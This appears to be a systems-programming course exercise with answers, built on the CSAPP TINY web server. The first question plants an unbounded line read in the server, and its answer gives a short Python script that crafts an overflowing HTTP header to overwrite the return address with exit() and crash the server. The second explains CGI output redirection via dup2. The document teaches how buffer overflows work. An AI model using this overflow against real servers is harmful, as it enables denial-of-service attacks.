ICS EXE 11

May 20, 2020

1 The TINY web server

Suppose a TINY web server (described in CSAPP:11.6) is going to be hosted on 10.0.0.32, at port 8000. However, someone modified line 59 of TINY read `requesthdrs` to be `unsafe_readlineb(rp, buf, MAXLINE);`.

```
1  void doit(int fd)
2  {
3    int is_static;
4    struct stat sbuf;
5    char buf[MAXLINE], method[MAXLINE];
6    char uri[MAXLINE], version[MAXLINE];
7    char filename[MAXLINE],cgiargs[MAXLINE];
8    rio_t rio;
9
10   /* Read request line and headers */
11   Rio_readinitb(&rio, fd);
12   Rio_readlineb(&rio, buf, MAXLINE);
13   printf("Request headers:\n");
14   printf("%s", buf);
15   sscanf(buf, "%s %s %s", method, uri, version);
16   if (strcasecmp(method, "GET")) {
17     clienterror(fd, method, "501",
18         "Not implemented",
19         "Tiny does not implement this method");
20     return;
21   }
22   read_requesthdrs(&rio);
23
24   /* Parse URI from GET request */
25   is_static =
26       parse_uri(uri, filename, cgiargs);
27   if (stat(filename, &sbuf) < 0) {
28
29     clienterror(fd, filename, "404", "Not found",
30           "Tiny couldn't find this file");
31
32     return;
33   }
34
35   if (is_static) {  /* Serve static content */
36     if (!(S_ISREG(sbuf.st_mode)) ||
37       !(S_IRUSR & sbuf.st_mode)) {
```

```
38        clienterror(fd, filename, "403", "Forbidden",
39              "Tiny couldn't read the file");
40        return;
41      }
42      serve_static(fd, filename, sbuf.st_size);
43    } else {    /* Serve dynamic content */
44      if (!(S_ISREG(sbuf.st_mode)) ||
45      !(S_IXUSR & sbuf.st_mode)) {
46        clienterror(fd, filename, "403", "Forbidden",
47              "Tiny couldn't run the CGI program");
48        return;
49      }
50      serve_dynamic(fd, filename, cgiargs);
51    }
52    return;
53  }
54
55  void read_requesthdrs(rio_t *rp) {
56      char buf[MAXLINE];
57      Rio_readlineb(rp, buf, MAXLINE);
58      while(strcmp(buf, "\r\n")) {
59          Rio_readlineb(rp, buf, MAXLINE);
60          printf("%s", buf);
61      }
62      return;
63  }
```

The code of unsafe readlineb is shown below.

```
1   ssize_t unsafe_readlineb(rio_t * rp,
2       void *usrbuf, size_t maxlen) {
3     int n, rc;
4     char c, *bufp = usrbuf;
5     n = 1;
6     while (1) {
7       if ((rc = rio_read(rp, &c, 1))
8           == 1) {
9         *bufp++ = c;
10        if (c == '\n') {
11          n++;
12          break;
13        }
14      } else if (rc == 0) {
15        if (n == 1)
16          return 0;
17        else
18          break;
19      } else
20        return -1;
21      n++;
```

```
22    }
23    *bufp = 0;
24    return n - 1;
25  }
```

Since unsafe readlineb does not check maxlen, a buffer overflow (Section 3.10.3) may happen. Now suppose you are an attacker and want to kill the web server so that the others can no longer access the website. You somehow know 3 key info about the remote process (`./tiny 8000`):

1. the " exit" function is at `0x7ffff78a9dd0`.
2. when execute read requesthdrs, the RBP is `0x7fffffec020`.
3. when execute read requesthdrs, the variable buf is at `0x7fffffea020`.

How do you construct a HTTP request to do the attack?

To overflow the variable buf in read `requesthdrs`, we need a long (more than MAXLINE) HTTP header.

```
1  import struct
2  exit_addr = 0x7ffff78a9dd0
3  buf_addr = 0x7fffffea020
4  rbp = 0x7fffffec020
5  pad = "a" * (rbp - buf_addr + 8)
6  jmp = struct.pack("<Q" , exit_addr)
7  exploit_str = pad + jmp
8  req = "GET / HTTP/1.0\r\n" +
9        "bypass line57 \n" +
10       exploit_str + "\n" + "\r\n"
```

2

Assume that a CGI program needs to send dynamic content to the client. This is typically done by making the CGI program send its content to the standard output. Explain how this content is sent to the client.

Before the process that runs the CGI program is loaded, a Linux dup2 function is used to redirect standard output to the connected descriptor that is associated with the client. Thus, anything that the CGI program writes to standard output goes directly to the client.